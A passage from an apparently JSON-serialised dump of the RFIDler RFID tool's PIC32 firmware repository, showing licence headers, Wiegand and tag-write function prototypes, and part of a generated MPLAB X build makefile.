broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\nBOOL learn_wiegand(BYTE trigger);\nBOOL read_wiegand(BYTE trigger);\nunsigned char read_wiegand_bit(unsigned int timeout);\nBOOL write_wiegand(BYTE *data);\nBOOL write_wiegand_bit(BYTE thisbit);\nBOOL wiegand_test(void);\nvoid wiegand_add_parity(unsigned char *target, unsigned char *source, unsigned char length);\nvoid wiegand_out_disable(void);\nvoid wiegand_out_enable(void);\nvoid wiegand_set_pullups(BOOL state);\n//void wiegand_set_pulldowns(BOOL state);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/write.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\nBOOL write_tag(unsigned int block, BYTE *data, BOOL verify);\nBOOL write_vtag_to_tag(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Makefile-debug.mk",
    "content": "#\n# Generated Makefile - do not edit!\n#\n# Edit the Makefile in the project folder instead (../Makefile). Each target\n# has a -pre and a -post target defined where you can add customized code.\n#\n# This makefile implements configuration specific macros and targets.\n\n\n# Include project Makefile\nifeq \"${IGNORE_LOCAL}\" \"TRUE\"\n# do not include local makefile. User is passing all local related variables already\nelse\ninclude Makefile\n# Include makefile containing local settings\nifeq \"$(wildcard nbproject/Makefile-local-debug.mk)\" \"nbproject/Makefile-local-debug.mk\"\ninclude nbproject/Makefile-local-debug.mk\nendif\nendif\n\n# Environment\nMKDIR=mkdir -p\nRM=rm -f \nMV=mv \nCP=cp \n\n# Macros\nCND_CONF=debug\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nIMAGE_TYPE=debug\nOUTPUT_SUFFIX=elf\nDEBUGGABLE_SUFFIX=elf\nFINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nelse\nIMAGE_TYPE=production\nOUTPUT_SUFFIX=hex\nDEBUGGABLE_SUFFIX=elf\nFINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nendif\n\n# Object Directory\nOBJECTDIR=build/${CND_CONF}/${IMAGE_TYPE}\n\n# Distribution Directory\nDISTDIR=dist/${CND_CONF}/${IMAGE_TYPE}\n\n# Source Files Quoted if spaced\nSOURCEFILES_QUOTED_IF_SPACED=\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c\" /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c\n\n# Object Files Quoted if spaced\nOBJECTFILES_QUOTED_IF_SPACED=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o ${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o\nPOSSIBLE_DEPFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o.d ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d ${OBJECTDIR}/_ext/1019771169/SClib.o.d ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d ${OBJECTDIR}/_ext/186742988/usb_device.o.d ${OBJECTDIR}/src/indala.o.d ${OBJECTDIR}/src/main.o.d ${OBJECTDIR}/src/psk.o.d ${OBJECTDIR}/src/usb_descriptors.o.d ${OBJECTDIR}/src/util.o.d ${OBJECTDIR}/src/emulate.o.d ${OBJECTDIR}/src/ask.o.d ${OBJECTDIR}/src/fsk.o.d ${OBJECTDIR}/src/clock.o.d ${OBJECTDIR}/src/rwd.o.d ${OBJECTDIR}/src/detect.o.d ${OBJECTDIR}/src/hitagcrypto.o.d ${OBJECTDIR}/src/wiegand.o.d ${OBJECTDIR}/src/comms.o.d ${OBJECTDIR}/src/nvm.o.d ${OBJECTDIR}/src/mcp414x.o.d ${OBJECTDIR}/src/spi.o.d ${OBJECTDIR}/src/uart3.o.d ${OBJECTDIR}/src/tags.o.d ${OBJECTDIR}/src/unique.o.d ${OBJECTDIR}/src/led.o.d ${OBJECTDIR}/src/em.o.d ${OBJECTDIR}/src/hid.o.d ${OBJECTDIR}/src/read.o.d ${OBJECTDIR}/src/isr.o.d ${OBJECTDIR}/src/auto.o.d ${OBJECTDIR}/src/fdxb.o.d ${OBJECTDIR}/src/hitag.o.d ${OBJECTDIR}/src/uid.o.d ${OBJECTDIR}/src/login.o.d ${OBJECTDIR}/src/write.o.d ${OBJECTDIR}/src/auth.o.d ${OBJECTDIR}/src/q5.o.d ${OBJECTDIR}/src/vtag.o.d ${OBJECTDIR}/src/config.o.d ${OBJECTDIR}/src/select.o.d ${OBJECTDIR}/src/sdcard.o.d ${OBJECTDIR}/src/debug_pins.o.d ${OBJECTDIR}/src/awid.o.d ${OBJECTDIR}/src/analogue.o.d ${OBJECTDIR}/src/iso7816.o.d ${OBJECTDIR}/src/t55x7.o.d ${OBJECTDIR}/src/sniff.o.d ${OBJECTDIR}/src/tamagotchi.o.d ${OBJECTDIR}/src/hdx.o.d ${OBJECTDIR}/src/hitag2crack.o.d ${OBJECTDIR}/src/paxton.o.d\n\n# Object Files\nOBJECTFILES=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o ${OBJECTDIR}/src/detect.o ${OBJECTDIR}/src/hitagcrypto.o ${OBJECTDIR}/src/wiegand.o ${OBJECTDIR}/src/comms.o ${OBJECTDIR}/src/nvm.o ${OBJECTDIR}/src/mcp414x.o ${OBJECTDIR}/src/spi.o ${OBJECTDIR}/src/uart3.o ${OBJECTDIR}/src/tags.o ${OBJECTDIR}/src/unique.o ${OBJECTDIR}/src/led.o ${OBJECTDIR}/src/em.o ${OBJECTDIR}/src/hid.o ${OBJECTDIR}/src/read.o ${OBJECTDIR}/src/isr.o ${OBJECTDIR}/src/auto.o ${OBJECTDIR}/src/fdxb.o ${OBJECTDIR}/src/hitag.o ${OBJECTDIR}/src/uid.o ${OBJECTDIR}/src/login.o ${OBJECTDIR}/src/write.o ${OBJECTDIR}/src/auth.o ${OBJECTDIR}/src/q5.o ${OBJECTDIR}/src/vtag.o ${OBJECTDIR}/src/config.o ${OBJECTDIR}/src/select.o ${OBJECTDIR}/src/sdcard.o ${OBJECTDIR}/src/debug_pins.o ${OBJECTDIR}/src/awid.o ${OBJECTDIR}/src/analogue.o ${OBJECTDIR}/src/iso7816.o ${OBJECTDIR}/src/t55x7.o ${OBJECTDIR}/src/sniff.o ${OBJECTDIR}/src/tamagotchi.o ${OBJECTDIR}/src/hdx.o ${OBJECTDIR}/src/hitag2crack.o ${OBJECTDIR}/src/paxton.o\n\n# Source Files\nSOURCEFILES=/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c\n\n\nCFLAGS=\nASFLAGS=\nLDLIBSOPTIONS=\n\n############# Tool locations ##########################################\n# If you copy a project from one host to another, the path where the  #\n# compiler is installed may be different.                             #\n# If you open this project with MPLAB X in the new host, this         #\n# makefile will be regenerated and the paths will be corrected.       #\n#######################################################################\n# fixDeps replaces a bunch of sed/cat/printf statements that slow down the build\nFIXDEPS=fixDeps\n\n.build-conf:  ${BUILD_SUBPROJECTS}\nifneq ($(INFORMATION_MESSAGE), )\n\t@echo $(INFORMATION_MESSAGE)\nendif\n\t${MAKE}  -f nbproject/Makefile-debug.mk dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\n\nMP_PROCESSOR_OPTION=32MX795F512L\nMP_LINKER_FILE_OPTION=\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: assemble\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nelse\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: assembleWithPreprocess\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nelse\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: compile\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\n${OBJECTDIR}/_ext/1209914024/FSIO.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/FSIO.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/FSIO.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/FSIO.o.d\" -o ${OBJECTDIR}/_ext/1209914024/FSIO.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c\"     \n\t\n${OBJECTDIR}/_ext/1209914024/SD-SPI.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD\\ File\\ System/SD-SPI.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1209914024\" \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1209914024/SD-SPI.o.d\" -o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SClib.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SClib.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SClib.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SClib.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SClib.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c\"     \n\t\n${OBJECTDIR}/_ext/1019771169/SCpic32.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart\\ Card/SCpic32.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/1019771169\" \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o.d \n\t@${RM} ${OBJECTDIR}/_ext/1019771169/SCpic32.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c\"     \n\t\n${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\\ Device\\ Driver/usb_function_cdc.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/631258897\" \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c\"     \n\t\n${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/186742988\" \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o \n\t@${FIXDEPS} 